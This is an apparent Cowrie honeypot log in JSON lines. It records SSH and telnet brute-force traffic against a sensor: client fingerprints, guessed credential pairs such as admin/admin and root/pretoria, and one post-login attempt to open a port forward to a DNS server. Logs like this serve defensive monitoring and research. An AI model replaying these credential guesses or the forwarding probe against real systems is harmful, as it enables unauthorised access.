{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:42:18.409878Z","src_ip":"8.218.166.49","session":"bf6f2adc743d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:42:18.414348Z","src_ip":"8.218.166.49","session":"bf6f2adc743d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:42:26.350818Z","src_ip":"8.218.166.49","session":"bf6f2adc743d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:42:29.018053Z","src_ip":"8.218.166.49","session":"bf6f2adc743d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33566,"dst_ip":"10.17.0.5","dst_port":22,"session":"d74c20a20d52","protocol":"ssh","message":"New connection: 8.218.166.49:33566 (10.17.0.5:22) [session: d74c20a20d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:04.188339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:05.004664Z","src_ip":"8.218.166.49","session":"d74c20a20d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:11.839064Z","src_ip":"8.218.166.49","session":"d74c20a20d52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:15.994492Z","src_ip":"8.218.166.49","session":"d74c20a20d52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60386,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d3cbe01be12","protocol":"ssh","message":"New connection: 8.218.166.49:60386 (10.17.0.5:22) [session: 0d3cbe01be12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:22.214382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:22.219377Z","src_ip":"8.218.166.49","session":"0d3cbe01be12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.216.234.82","src_port":46782,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4624ce18070","protocol":"ssh","message":"New connection: 35.216.234.82:46782 (159.203.135.109:22) [session: e4624ce18070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:25.974147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:25.978703Z","src_ip":"35.216.234.82","session":"e4624ce18070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:26.069075Z","src_ip":"35.216.234.82","session":"e4624ce18070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:26.338572Z","src_ip":"35.216.234.82","session":"e4624ce18070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58016,"dst_ip":"10.17.0.5","dst_port":22,"session":"97b5b13504ac","protocol":"ssh","message":"New connection: 8.218.166.49:58016 (10.17.0.5:22) [session: 97b5b13504ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:30.714922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:30.719017Z","src_ip":"8.218.166.49","session":"97b5b13504ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:30.927962Z","src_ip":"8.218.166.49","session":"97b5b13504ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51926,"dst_ip":"10.17.0.5","dst_port":22,"session":"a36a127a652c","protocol":"ssh","message":"New connection: 8.218.166.49:51926 (10.17.0.5:22) [session: a36a127a652c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:38.278427Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46368,"dst_ip":"10.17.0.5","dst_port":22,"session":"30ed298b6d57","protocol":"ssh","message":"New connection: 87.251.64.176:46368 (10.17.0.5:22) [session: 30ed298b6d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:39.426228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:39.430784Z","src_ip":"87.251.64.176","session":"30ed298b6d57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:39.531095Z","src_ip":"87.251.64.176","session":"30ed298b6d57","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:39.822723Z","src_ip":"87.251.64.176","session":"30ed298b6d57","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:39.921560Z","session":"30ed298b6d57","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:40.019980Z","src_ip":"87.251.64.176","session":"30ed298b6d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:40.119372Z","src_ip":"87.251.64.176","session":"30ed298b6d57","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:48.656090Z","src_ip":"8.218.166.49","session":"a36a127a652c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:48.659661Z","src_ip":"8.218.166.49","session":"a36a127a652c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.81.133","src_port":38494,"dst_ip":"10.17.0.5","dst_port":23,"session":"5057afb2a390","protocol":"telnet","message":"New connection: 104.238.81.133:38494 (10.17.0.5:23) [session: 5057afb2a390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:43:50.901814Z"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:12.146156Z","src_ip":"8.218.166.49","session":"a36a127a652c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33278,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f4ca580cbc0","protocol":"ssh","message":"New connection: 8.218.166.49:33278 (10.17.0.5:22) [session: 7f4ca580cbc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:13.481121Z"}
{"eventid":"cowrie.session.closed","duration":"36.6","message":"Connection lost after 36.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:14.867528Z","src_ip":"8.218.166.49","session":"a36a127a652c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:14.937202Z","src_ip":"8.218.166.49","session":"7f4ca580cbc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:16.937349Z","src_ip":"8.218.166.49","session":"7f4ca580cbc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":41548,"dst_ip":"10.17.0.5","dst_port":22,"session":"414a19b30103","protocol":"ssh","message":"New connection: 183.182.125.142:41548 (10.17.0.5:22) [session: 414a19b30103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:18.629874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:18.634522Z","src_ip":"183.182.125.142","session":"414a19b30103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:18.903391Z","src_ip":"183.182.125.142","session":"414a19b30103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pretoria","message":"login attempt [root/pretoria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:20.005672Z","src_ip":"183.182.125.142","session":"414a19b30103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.296793222427368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:21.198510Z","src_ip":"104.238.81.133","session":"5057afb2a390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:21.276875Z","src_ip":"183.182.125.142","session":"414a19b30103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:34.406762Z","src_ip":"8.218.166.49","session":"7f4ca580cbc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.7","message":"Connection lost after 26.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:40.190618Z","src_ip":"8.218.166.49","session":"7f4ca580cbc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":49834,"dst_ip":"10.17.0.5","dst_port":22,"session":"655c2d6d916c","protocol":"ssh","message":"New connection: 14.63.196.175:49834 (10.17.0.5:22) [session: 655c2d6d916c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:43.062590Z"}
